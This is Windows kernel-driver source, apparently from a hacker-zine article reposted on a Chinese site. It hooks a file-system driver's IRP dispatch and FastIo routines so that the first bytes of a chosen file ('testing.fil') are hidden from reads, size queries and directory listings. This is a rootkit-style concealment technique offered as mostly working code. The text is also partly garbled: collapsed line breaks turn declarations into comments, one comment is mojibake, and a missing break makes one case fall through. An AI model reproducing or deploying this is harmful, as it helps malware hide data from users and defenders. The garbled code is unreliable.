typedef struct tag_QUERY_DIRECTORY { ULONG Length;
PUNICODE_STRING FileName; FILE_INFORMATION_CLASS FileInformationClass;
ULONG FileIndex; } QUERY_DIRECTORY, *PQUERY_DIRECTORY;
#pragma
pack(push, 4)
typedef struct tag_FQD_SmallCommonBlock { ULONG
NextEntryOffset; ULONG FileIndex; } FQD_SmallCommonBlock,
*PFQD_SmallCommonBlock;
typedef struct tag_FQD_FILE_ATTR { TIME
CreationTime; TIME LastAccessTime; TIME LastWriteTime; TIME
ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize;
ULONG FileAttributes; } FQD_FILE_ATTR, *PFQD_FILE_ATTR;
typedef
struct tag_FQD_CommonBlock { FQD_SmallCommonBlock SmallCommonBlock;
FQD_FILE_ATTR FileAttr; ULONG FileNameLength; } FQD_CommonBlock,
*PFQD_CommonBlock;
typedef struct _KFILE_DIRECTORY_INFORMATION {
FQD_CommonBlock CommonBlock;
WCHAR FileName[ANYSIZE_ARRAY]; }
KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION;
typedef
struct _KFILE_FULL_DIR_INFORMATION { FQD_CommonBlock CommonBlock;
ULONG EaSize; WCHAR FileName[ANYSIZE_ARRAY]; }
KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION;
typedef struct
_KFILE_BOTH_DIR_INFORMATION { FQD_CommonBlock CommonBlock;
ULONG
EaSize; USHORT ShortFileNameLength; WCHAR ShortFileName[12]; WCHAR
FileName[ANYSIZE_ARRAY]; } KFILE_BOTH_DIR_INFORMATION,
*PKFILE_BOTH_DIR_INFORMATION;
#pragma pack(pop)
/////////////////////////////////////////////////////////////////////
// Global variables PDRIVER_OBJECT pDriverObject; PDRIVER_DISPATCH
OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp, OldDirCtlDisp;
PFAST_IO_READ OldFastIoReadDisp; PFAST_IO_WRITE OldFastIoWriteDisp;
PFAST_IO_QUERY_STANDARD_INFO OldFastIoQueryStandartInfoDisp;
//Size
of our file's Invisible Part (in bytes) ULONG InvisiblePartSize = 10;
//File, part of which we want to hide wchar_t OurFileName[] =
L"testing.fil";
//Size of OurFileName in bytes, excluding null
terminator ULONG OurFileNameLen = sizeof(OurFileName) - sizeof(wchar_t);
/////////////////////////////////////////////////////////////////////
// Functions
//Function returns true if FN matches OurFileName
bool ThisIsOurFile(PUNICODE_STRING FN) { return ((FN->Buffer)
&& (FN->Length >= OurFileNameLen) &&
_wcsnicmp((wchar_t*)((char*)FN->Buffer + FN->Length - OurFileNameLen),
OurFileName, OurFileNameLen/2)==0); }
//Structure used to track
IRPs which completion must be handled struct s_ComplRtnTrack {
PIO_COMPLETION_ROUTINE CompletionRoutine; PVOID Context; //When
CompletionRoutine is called, flags corresponds to InvokeOn* UCHAR Control;
PIO_STACK_LOCATION CISL; FILE_INFORMATION_CLASS FileInformationClass;
PVOID Buffer; };
//Function set new CompletionRoutine,
InvokeOnSuccess flag, //and copies original fields to Context void
HookIrpCompletion(PIO_STACK_LOCATION CISL, PIO_COMPLETION_ROUTINE
CompletionRoutine, PVOID Buffer, FILE_INFORMATION_CLASS
FileInformationClass) { s_ComplRtnTrack* NewContext =
(s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtnTrack));
NewContext->CompletionRoutine = CISL->CompletionRoutine;
NewContext->Context = CISL->Context; NewContext->Control =
CISL->Control; NewContext->CISL = CISL; //Since CISL.Parameters
unavailabile in IrpCompletion handler, //let's save all necessary data in
Context structure NewContext->FileInformationClass =
FileInformationClass; NewContext->Buffer = Buffer;
CISL->CompletionRoutine = CompletionRoutine; CISL->Context =
NewContext; CISL->Control |= SL_INVOKE_ON_SUCCESS; }
//Function handles IRP completion NTSTATUS NewComplRtn ( IN
PDEVICE_OBJECT DeviceObject, IN PIRP Irp, s_ComplRtnTrack* CXT) {
//Handle different types of IRP switch (CXT->CISL->MajorFunction)
{ case IRP_MJ_QUERY_INFORMATION: _asm int 3; //ThisIsOurFile is
already tested switch (CXT->FileInformationClass) { //In all
cases modify CurrentByteOffset and/or size (EndOfFile) //to hide first
InvisiblePartSize bytes case FilePositionInformation:
((PFILE_POSITION_INFORMATION)CXT->Buffer)->CurrentByteOffset.QuadPart
-= InvisiblePartSize; break; case FileEndOfFileInformation:
((PFILE_END_OF_FILE_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -=
InvisiblePartSize; break; case FileStandardInformation:
((PFILE_STANDARD_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -=
InvisiblePartSize; break; case FileAllocationInformation:
((PFILE_ALLOCATION_INFORMATION)CXT->Buffer)->AllocationSize.QuadPart
-= InvisiblePartSize; break; case FileAllInformation:
((PFILE_ALL_INFORMATION)CXT->Buffer)->PositionInformation.CurrentByteOffset.QuadPart
-= InvisiblePartSize;
((PFILE_ALL_INFORMATION)CXT->Buffer)->StandardInformation.EndOfFile.QuadPart
-= InvisiblePartSize; break; } case IRP_MJ_DIRECTORY_CONTROL:
//Get a pointer to first directory entries PFQD_SmallCommonBlock
pQueryDirWin32 = (PFQD_SmallCommonBlock)CXT->Buffer; //Cycle through
directory entries while (1) { PWCHAR pFileName = 0; ULONG
dwFileNameLength = 0; switch (CXT->FileInformationClass) { //In
all cases get pointer to FileName and FileNameLength case
FileDirectoryInformation: dwFileNameLength =
((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->FileName;
break; case FileFullDirectoryInformation: dwFileNameLength =
((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->FileName;
break; case FileBothDirectoryInformation: dwFileNameLength =
((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->FileName;
break; } //_asm int 3; //Is this file that we want? if
((dwFileNameLength == OurFileNameLen) && _wcsnicmp(pFileName,
OurFileName, OurFileNameLen/2)==0) { //_asm int 3; //Hide first
InvisiblePartSize bytes
((PFQD_CommonBlock)pQueryDirWin32)->FileAttr.EndOfFile.QuadPart -=
InvisiblePartSize; break; } //Quit if no more directory entries
if (!pQueryDirWin32->NextEntryOffset) break; //Continue with next
directory entry pQueryDirWin32 =
(PFQD_SmallCommonBlock)((CHAR*)pQueryDirWin32 +
pQueryDirWin32->NextEntryOffset); }
} //If appropriate
Control flag was set,... if ( ((CXT->Control ==
SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp->IoStatus.Status))) ||
((CXT->Control ==
SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp->IoStatus.Status))) ||
((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status ==
STATUS_CANCELLED)) ) //...call original CompletionRoutine return
CXT->CompletionRoutine( DeviceObject, Irp, CXT->Context);
else return STATUS_SUCCESS; }
//Filename IRP handler deal with #define FName
&(CISL->FileObject->FileName)
//Function handles IRP_MJ_READ
and IRP_MJ_WRITE NTSTATUS NewReadWriteDisp ( IN PDEVICE_OBJECT
DeviceObject, IN PIRP Irp) { //_asm int 3; PIO_STACK_LOCATION
CISL = IoGetCurrentIrpStackLocation(Irp); if (CISL->FileObject &&
//Don't mess with swaping !(Irp->Flags & IRP_PAGING_IO)
&& !(Irp->Flags & IRP_SYNCHRONOUS_PAGING_IO)) { if
(ThisIsOurFile(FName)) { //_asm int 3;
CISL->Parameters.Write.ByteOffset.QuadPart += InvisiblePartSize;
//Write and Read has the same structure, thus handled together } }
//Call corresponding original handler switch (CISL->MajorFunction)
{ case IRP_MJ_READ: return OldReadDisp(DeviceObject, Irp); case
IRP_MJ_WRITE: return OldWriteDisp(DeviceObject, Irp); } }
//Function handles IRP_MJ_QUERY_INFORMATION NTSTATUS NewQueryDisp (
IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { //_asm int 3;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if
((CISL->MajorFunction == IRP_MJ_QUERY_INFORMATION) &&
ThisIsOurFile(FName)) { //_asm int 3; switch
(CISL->Parameters.QueryFile.FileInformationClass) { //Information
types that contains file size or current offset case
FilePositionInformation: case FileEndOfFileInformation: case
FileStandardInformation: case FileAllocationInformation: case
FileAllInformation: //_asm int 3; HookIrpCompletion(CISL,
(PIO_COMPLETION_ROUTINE)NewComplRtn, Irp->AssociatedIrp.SystemBuffer,
CISL->Parameters.QueryFile.FileInformationClass); } } //Call
original handler return OldQueryDisp(DeviceObject, Irp); }
//Function handles IRP_MJ_SET_INFORMATION NTSTATUS NewSetInfoDisp (
IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { //_asm int 3;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if
(CISL->FileObject && ThisIsOurFile(FName)) { //_asm int 3;
switch (CISL->Parameters.QueryFile.FileInformationClass) {
//Information types that contains file size or current offset. //In all
cases modify CurrentByteOffset and/or size (EndOfFile) //to hide first
InvisiblePartSize bytes case FilePositionInformation:
((PFILE_POSITION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->CurrentByteOffset.QuadPart
+= InvisiblePartSize; break; case FileEndOfFileInformation:
((PFILE_END_OF_FILE_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart
+= InvisiblePartSize; break; case FileStandardInformation:
((PFILE_STANDARD_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart
+= InvisiblePartSize; break; case FileAllocationInformation: //_asm
int 3;
((PFILE_ALLOCATION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->AllocationSize.QuadPart
+= InvisiblePartSize; break; case FileAllInformation:
((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->PositionInformation.CurrentByteOffset.QuadPart
+= InvisiblePartSize;
((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->StandardInformation.EndOfFile.QuadPart
+= InvisiblePartSize; break; } } //Call original handler
return OldSetInfoDisp(DeviceObject, Irp); }
//Function handles
IRP_MJ_DIRECTORY_CONTROL NTSTATUS NewDirCtlDisp ( IN PDEVICE_OBJECT
DeviceObject, IN PIRP Irp) { void *pBuffer; PIO_STACK_LOCATION
CISL = IoGetCurrentIrpStackLocation(Irp); //_asm int 3; if
((CISL->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) &&
(CISL->MinorFunction == IRP_MN_QUERY_DIRECTORY)) { //Handle both
ways of passing user supplied buffer if (Irp->MdlAddress) pBuffer =
MmGetSystemAddressForMdl(Irp->MdlAddress); else pBuffer =
Irp->UserBuffer; HookIrpCompletion(CISL,
(PIO_COMPLETION_ROUTINE)NewComplRtn, pBuffer,
((PQUERY_DIRECTORY)(&CISL->Parameters))->FileInformationClass); }
//Call original handler return OldDirCtlDisp(DeviceObject, Irp); }
#undef FName
//Function handles FastIoRead BOOLEAN
NewFastIoRead( IN PFILE_OBJECT FileObject, IN PLARGE_INTEGER FileOffset,
IN ULONG Length, IN BOOLEAN Wait, IN ULONG LockKey, OUT PVOID
Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN PDEVICE_OBJECT DeviceObject
) { LARGE_INTEGER NewFileOffset; //_asm int 3; if
((FileObject) && (ThisIsOurFile(&FileObject->FileName))) {
//_asm int 3; //Modify FileOffset to hide first InvisiblePartSize bytes
NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait,
LockKey, Buffer, IoStatus, DeviceObject); } //Call original handler
return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey,
Buffer, IoStatus, DeviceObject); }
//Function handles
FastIoWrite BOOLEAN NewFastIoWrite( IN PFILE_OBJECT FileObject, IN
PLARGE_INTEGER FileOffset, IN ULONG Length, IN BOOLEAN Wait, IN
ULONG LockKey, OUT PVOID Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN
PDEVICE_OBJECT DeviceObject ) { LARGE_INTEGER NewFileOffset;
//_asm int 3; if ((FileObject) &&
(ThisIsOurFile(&FileObject->FileName))) { //_asm int 3;
//Modify FileOffset to hide first InvisiblePartSize bytes
NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait,
LockKey, Buffer, IoStatus, DeviceObject); } return
OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
IoStatus, DeviceObject); }
//Function handles
FastIoQueryStandartInfo BOOLEAN NewFastIoQueryStandartInfo( IN struct
_FILE_OBJECT *FileObject, IN BOOLEAN Wait, OUT
PFILE_STANDARD_INFORMATION Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN
struct _DEVICE_OBJECT *DeviceObject ) { //Call original handler
BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer,
IoStatus, DeviceObject); if ((FileObject) &&
(ThisIsOurFile(&FileObject->FileName))) { //_asm int 3;
//Modify EndOfFile to hide first InvisiblePartSize bytes
Buffer->EndOfFile.QuadPart -= InvisiblePartSize; } return status;
}
extern "C" NTSYSAPI NTSTATUS NTAPI
ObReferenceObjectByName( IN PUNICODE_STRING ObjectPath, IN ULONG
Attributes, IN PACCESS_STATE PassedAccessState OPTIONAL, IN ACCESS_MASK
DesiredAccess OPTIONAL, IN POBJECT_TYPE ObjectType, IN KPROCESSOR_MODE
AccessMode, IN OUT PVOID ParseContext OPTIONAL, OUT PVOID *ObjectPtr
);
extern "C" PVOID IoDriverObjectType;
//Function hooks
given dispatch function (MajorFunction) VOID InterceptFunction(UCHAR
MajorFunction, PDRIVER_OBJECT pDriverObject, OPTIONAL PDRIVER_DISPATCH
*OldFunctionPtr, OPTIONAL PDRIVER_DISPATCH NewFunctionPtr) {
PDRIVER_DISPATCH *TargetFn;
TargetFn =
&(pDriverObject->MajorFunction[MajorFunction]); //hook only if
handler exists if (*TargetFn) { if (OldFunctionPtr) *OldFunctionPtr
= *TargetFn; if (NewFunctionPtr) *TargetFn = NewFunctionPtr; } }
//Function hooks given driver's dispatch functions NTSTATUS
Intercept(PWSTR pwszDeviceName) { UNICODE_STRING DeviceName;
NTSTATUS status; KIRQL OldIrql;
_asm int 3;
pDriverObject = NULL; RtlInitUnicodeString(&DeviceName,
pwszDeviceName); status = ObReferenceObjectByName(&DeviceName,
OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode,
NULL, (PVOID*)&pDriverObject); if (pDriverObject) { //Raise IRQL
to avoid context switch //when some pointer is semi-modified
KeRaiseIrql(HIGH_LEVEL, &OldIrql); //hook dispatch functions
InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp,
NewReadWriteDisp); InterceptFunction(IRP_MJ_WRITE, pDriverObject,
&OldWriteDisp, NewReadWriteDisp);
InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject,
&OldQueryDisp, NewQueryDisp); InterceptFunction(IRP_MJ_SET_INFORMATION,
pDriverObject, &OldSetInfoDisp, NewSetInfoDisp);
InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject,
&OldDirCtlDisp, NewDirCtlDisp); //hook FastIo dispatch functions if
FastIo table exists if (pDriverObject->FastIoDispatch) { //磬 玎蝮
镟?蜩 �漯??w2k [rus] //It would be better to copy FastIo table to avoid
//messing with kernel memory protection, but it works as it is
OldFastIoReadDisp = pDriverObject->FastIoDispatch->FastIoRead;
pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRead;
OldFastIoWriteDisp = pDriverObject->FastIoDispatch->FastIoWrite;
pDriverObject->FastIoDispatch->FastIoWrite = NewFastIoWrite;
OldFastIoQueryStandartInfoDisp =
pDriverObject->FastIoDispatch->FastIoQueryStandardInfo;
pDriverObject->FastIoDispatch->FastIoQueryStandardInfo =
NewFastIoQueryStandartInfo; } KeLowerIrql(OldIrql); }
return
status; }
//Function cancels hooking VOID UnIntercept() {
KIRQL OldIrql; if (pDriverObject) { KeRaiseIrql(HIGH_LEVEL,
&OldIrql); InterceptFunction(IRP_MJ_READ, pDriverObject, NULL,
OldReadDisp); InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL,
OldWriteDisp); InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject,
NULL, OldQueryDisp); InterceptFunction(IRP_MJ_SET_INFORMATION,
pDriverObject, NULL, OldSetInfoDisp);
InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL,
OldDirCtlDisp); if (pDriverObject->FastIoDispatch) {
pDriverObject->FastIoDispatch->FastIoRead = OldFastIoReadDisp;
pDriverObject->FastIoDispatch->FastIoWrite = OldFastIoWriteDisp;
pDriverObject->FastIoDispatch->FastIoQueryStandardInfo =
OldFastIoQueryStandartInfoDisp; } KeLowerIrql(OldIrql);
ObDereferenceObject(pDriverObject); } }
|=[ EOF
]=---------------------------------------------------------------=|

|
|
相关文章:相关软件: |
|